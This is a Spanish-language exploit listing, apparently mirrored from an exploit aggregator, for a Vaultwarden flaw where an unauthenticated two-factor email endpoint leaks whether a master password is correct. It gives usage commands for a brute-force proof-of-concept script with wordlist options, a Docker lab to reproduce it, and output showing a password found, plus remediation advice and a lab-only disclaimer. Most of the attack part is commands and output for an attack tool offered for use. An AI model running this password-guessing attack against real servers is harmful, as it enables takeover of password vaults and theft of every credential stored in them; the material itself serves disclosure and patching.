## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BOREAS37-CVE-2026-43914-POC
# CVE-2026-43914 — Omisión de la protección de fuerza bruta del Email-2FA de Vaultwarden
Prueba de concepto para **CVE-2026-43914** : cuando **Email 2FA** está habilitado, la protección de fuerza bruta del inicio de sesión de Vaultwarden puede omitirse por completo a través del endpoint no autenticado `POST /api/two-factor/send-email-login`, que actúa como un **oráculo de contraseña maestra** ilimitado.
Afectados: Vaultwarden < **1.35.4**
## Por qué es importante
Vaultwarden es el administrador de contraseñas autohospedado compatible con Bitwarden más popular. Los administradores activan el Email 2FA creyendo que detiene la adivinación de contraseñas, pero este endpoint valida el hash de la contraseña maestra y devuelve un código de estado HTTP distinto para los intentos correctos/incorrectos **antes de que se aplique cualquier limitación de velocidad o bloqueo de cuenta** :
Respuesta| Significado
---|---
`200`| contraseña **correcta** (correo OTP enviado)
`400` "Username or password is incorrect"| contraseña incorrecta
Un atacante que conozca (o adivine) el correo electrónico de una vÃctima puede forzar por fuerza bruta la contraseña maestra a toda velocidad sin ningún tipo de limitación. El Email 2FA no lo impide.
## Causa raÃz (desde el código fuente, v1.35.3)
En `src/api/core/two_factor/email.rs`, el manejador `send_email_login` comprueba la contraseña y devuelve un error anticipadamente si no coincide, pero esta ruta no está registrada con el middleware de fuerza bruta/limitación que protege `/identity/connect/token`. Cada llamada:
1. busca al usuario por correo electrónico,
2. compara `check_valid_password(master_password_hash)` → `err!("Username or password is incorrect")` (HTTP 400) si no coincide,
3. en caso de éxito genera y envÃa un OTP por correo y devuelve HTTP 200.
## Uso
root@kitploit:~
python3 vw_bf_poc.py --host localhost --port 8222 \
--email some-email@example.com \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email some-email@example.com --wordlist rockyou-top1000.txt
Solo la biblioteca estándar de Python 3.
## Laboratorio (reproducir)
root@kitploit:~
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e some-email@example.com -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Crea un usuario de prueba (cualquier cliente Bitwarden o API), activa el **Email 2FA** (Ajustes → Inicio de sesión en dos pasos → Email) y luego ejecuta el PoC contra él.
## Salida verificada
root@kitploit:~
$ python3 vw_bf_poc.py --email some-email@example.com --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : some-email@example.com
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
## Remediación
Actualiza a Vaultwarden **1.35.4+**. Hasta entonces: desactiva el Email 2FA en favor de TOTP/WebAuthn y coloca la instancia detrás de un proxy inverso con limitación de velocidad por IP en `/api/two-factor/*`.
## Referencias
* GHSA-c5rv-q295-7w4g (aviso de dani-garcia/vaultwarden)
* Aviso de Neodyme: cve-2026-43914
## Aviso legal
Solo para investigación de seguridad autorizada y uso en laboratorio.